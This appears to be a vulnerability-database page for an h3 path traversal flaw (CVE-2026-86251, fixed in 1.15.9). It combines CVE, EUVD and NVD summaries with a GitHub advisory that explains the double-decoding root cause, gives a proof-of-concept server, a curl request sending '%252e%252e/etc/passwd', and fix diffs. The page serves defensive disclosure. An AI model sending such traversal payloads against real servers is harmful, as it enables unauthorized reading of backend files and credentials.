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h3 before 1.15.9 Path Traversal via Double Decoding

CVSS 4.0 8.2 HIGHCVSS 3.1 5.9 MEDIUMEUVD CVSS 4.0 8.2 CVSS 4.0 · [email protected] · Secondary 8.2 HIGHCVSS 3.1 · [email protected] · Secondary 5.9 MEDIUMCVSS_V3 Publisher rating MODERATEFixed by h3 1.15.9KEV status unknown

cve-program · CVE-2026-86251

Published

h3 versions before 1.15.9 contain a path traversal vulnerability in the serveStatic utility. A double-decoding flaw allows a request path containing double-encoded dot sequences (e.g. %252e%252e) to be decoded to %2e%2e, which survives resolveDotSegments() because that function only checks for literal '.' characters. When the resulting asset ID is resolved by URL-based backends (CDN, S3, object storage), %2e%2e is interpreted as '..' per RFC 3986, enabling path traversal to read arbitrary files from the backend.

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euvd · EUVD-2026-72107

Published

h3 versions before 1.15.9 contain a path traversal vulnerability in the serveStatic utility. A double-decoding flaw allows a request path containing double-encoded dot sequences (e.g. %252e%252e) to be decoded to %2e%2e, which survives resolveDotSegments() because that function only checks for literal '.' characters. When the resulting asset ID is resolved by URL-based backends (CDN, S3, object storage), %2e%2e is interpreted as '..' per RFC 3986, enabling path traversal to read arbitrary files from the backend.

Read the publisher's advisory

nvd · CVE-2026-86251

Published

h3 versions before 1.15.9 contain a path traversal vulnerability in the serveStatic utility. A double-decoding flaw allows a request path containing double-encoded dot sequences (e.g. %252e%252e) to be decoded to %2e%2e, which survives resolveDotSegments() because that function only checks for literal '.' characters. When the resulting asset ID is resolved by URL-based backends (CDN, S3, object storage), %2e%2e is interpreted as '..' per RFC 3986, enabling path traversal to read arbitrary files from the backend.

Read the publisher's advisory

osv · GHSA-72gr-qfp7-vwhw

Published

## Summary The `serveStatic` utility in h3 applies a redundant `decodeURI()` call to the request pathname after `H3Event` has already performed percent-decoding with `%25` preservation. This double decoding converts `%252e%252e` into `%2e%2e`, which bypasses `resolveDotSegments()` (since it checks for literal `.` characters, not percent-encoded equivalents). When the resulting asset ID is resolved by URL-based backends (CDN, S3, object storage), `%2e%2e` is interpreted as `..` per the URL Standard, enabling path traversal to read arbitrary files from the backend. ## Details The vulnerability is a conflict between two decoding stages: **Stage 1 — `H3Event` constructor** (`src/event.ts:65-69`): ```typescript if (url.pathname.includes("%")) { url.pathname = decodeURI( url.pathname.includes("%25") ? url.pathname.replace(/%25/g, "%2525") : url.pathname, ); } ``` This correctly preserves `%25` sequences by escaping them before decoding. A request for `/%252e%252e/etc/passwd` produces `event.url.pathname` = `/%2e%2e/etc/passwd` — the `%25` was preserved so `%252e` became `%2e` (not `.`). **Stage 2 — `serveStatic`** (`src/utils/static.ts:86-88`): ```typescript const originalId = resolveDotSegments( decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname))), ); ``` This applies a **second** `decodeURI()`, which decodes `%2e` → `.`, producing `/../../../etc/passwd`. However, the decoding happens *inside* the `resolveDotSegments()` call argument — `decodeURI` runs first, then `resolveDotSegments` processes the result. Wait — re-examining the flow more carefully: 1. Input pathname after event.ts: `/%2e%2e/%2e%2e/etc/passwd` 2. `decodeURI()` in static.ts converts `%2e` → `.`, producing: `/../../../etc/passwd` 3. `resolveDotSegments("/../../../etc/passwd")` **does** resolve `..` segments, clamping to `/etc/passwd` The actual bypass is subtler. `decodeURI()` does **not** decode `%2e` — it only decodes characters that `encodeURI` would encode. Since `.` is never encoded by `encodeURI`, `%2e` is **not** decoded by `decodeURI()`. So the chain is: 1. Request: `/%252e%252e/%252e%252e/etc/passwd` 2. After event.ts decode: `/%2e%2e/%2e%2e/etc/passwd` 3. `decodeURI()` in static.ts: `/%2e%2e/%2e%2e/etc/passwd` (unchanged — `decodeURI` doesn't decode `%2e`) 4. `resolveDotSegments()` fast-returns at line 56 because `%2e` contains no literal `.` character: ```typescript if (!path.includes(".")) { return path; } ``` 5. Asset ID `/%2e%2e/%2e%2e/etc/passwd` is passed to `getMeta()` and `getContents()` callbacks 6. URL-based backends resolve `%2e%2e` as `..` per RFC 3986 / URL Standard The root cause is `resolveDotSegments()` only checks for literal `.` characters and does not account for percent-encoded dot sequences (`%2e`). The `decodeURI()` in static.ts is redundant (event.ts already decodes) but is not the direct cause — the real gap is that `%2e%2e` survives as a traversal payload through both decoding stages and `resolveDotSegments`. ## PoC **1. Create a minimal h3 server with a URL-based static backend:** ```javascript // server.mjs import { H3, serveStatic } from "h3"; import { serve } from "srvx"; const app = new H3(); app.get("/**", (event) => { return serveStatic(event, { getMeta(id) { console.log("[getMeta] asset ID:", id); // Simulate URL-based backend (CDN/S3) const url = new URL(id, "https://cdn.example.com/static/"); console.log("[getMeta] resolved URL:", url.href); return { type: "text/plain" }; }, getContents(id) { console.log("[getContents] asset ID:", id); const url = new URL(id, "https://cdn.example.com/static/"); console.log("[getContents] resolved URL:", url.href); return `Fetched from: ${url.href}`; }, }); }); serve({ fetch: app.fetch, port: 3000 }); ``` **2. Send the double-encoded traversal request:** ```bash curl -v 'http://localhost:3000/%252e%252e/%252e%252e/etc/passwd' ``` **3. Observe server logs:** ``` [getMeta] asset ID: /%2e%2e/%2e%2e/etc/passwd [getMeta] resolved URL: https://cdn.example.com/etc/passwd [getContents] asset ID: /%2e%2e/%2e%2e/etc/passwd [getContents] resolved URL: https://cdn.example.com/etc/passwd ``` The `%2e%2e` sequences in the asset ID are resolved as `..` by the `URL` constructor, causing the backend URL to traverse from `/static/` to `/etc/passwd`. ## Impact - **Arbitrary file read from backend storage:** An unauthenticated attacker can read files outside the intended static asset directory on any URL-based backend (CDN origins, S3 buckets, object storage, reverse-proxied file servers). - **Sensitive data exposure:** Depending on the backend, this could expose configuration files, credentials, source code, or other tenants' data in shared storage. - **Affected deployments:** Applications using `serveStatic` with callbacks that resolve asset IDs via URL construction (`new URL(id, baseUrl)` or equivalent). This is a common pattern for CDN proxying and cloud object storage backends. Filesystem-based backends using `path.join()` are not affected since `%2e%2e` is not resolved as a traversal sequence by filesystem APIs. ## Recommended Fix The `resolveDotSegments()` function must account for percent-encoded dot sequences. Additionally, the redundant `decodeURI()` in `serveStatic` should be removed since `H3Event` already handles decoding. **Fix 1 — Remove redundant `decodeURI` in `src/utils/static.ts:86-88`:** ```diff const originalId = resolveDotSegments( - decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname))), + withLeadingSlash(withoutTrailingSlash(event.url.pathname)), ); ``` **Fix 2 — Harden `resolveDotSegments` in `src/utils/internal/path.ts:55-73` to handle percent-encoded dots:** ```diff export function resolveDotSegments(path: string): string { - if (!path.includes(".")) { + if (!path.includes(".") && !path.toLowerCase().includes("%2e")) { return path; } // Normalize backslashes to forward slashes to prevent traversal via `\` - const segments = path.replaceAll("\\", "/").split("/"); + const segments = path.replaceAll("\\", "/") + .replaceAll(/%2e/gi, ".") + .split("/"); const resolved: string[] = []; ``` Both fixes should be applied. Fix 1 removes the unnecessary double-decode. Fix 2 provides defense-in-depth by ensuring `resolveDotSegments` cannot be bypassed with percent-encoded dots regardless of the caller.

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Affected versions, risk and source history

cve-program · CVE-2026-86251

Published

h3

Vendor product

Publisher's version information

Shown as published. These rules are not interpreted as NuGet package version ranges.

{
                    "vendor": "h3js",
                    "product": "h3",
                    "defaultStatus": "unaffected",
                    "packageURL": "pkg:npm/h3",
                    "versions": [
                        {
                            "version": "0",
                            "status": "affected",
                            "versionType": "semver",
                            "lessThan": "1.15.9"
                        },
                        {
                            "version": "1.15.9",
                            "status": "unaffected",
                            "versionType": "semver"
                        }
                    ]
                }

Original source record · Cite this exact observation · Complete original publisher JSON

euvd · EUVD-2026-72107

Published

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Sep 6, 2026, 12:00:26 PM

dateUpdated: Sep 9, 2026, 1:57:41 PM

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

nvd · CVE-2026-86251

Published

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Awaiting Analysis

Weakness classifications: CWE-22

Original publisher date fields

published: 2026-09-06T12:17:15.900

lastModified: 2026-09-09T14:17:21.977

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GHSA-72gr-qfp7-vwhw

Published
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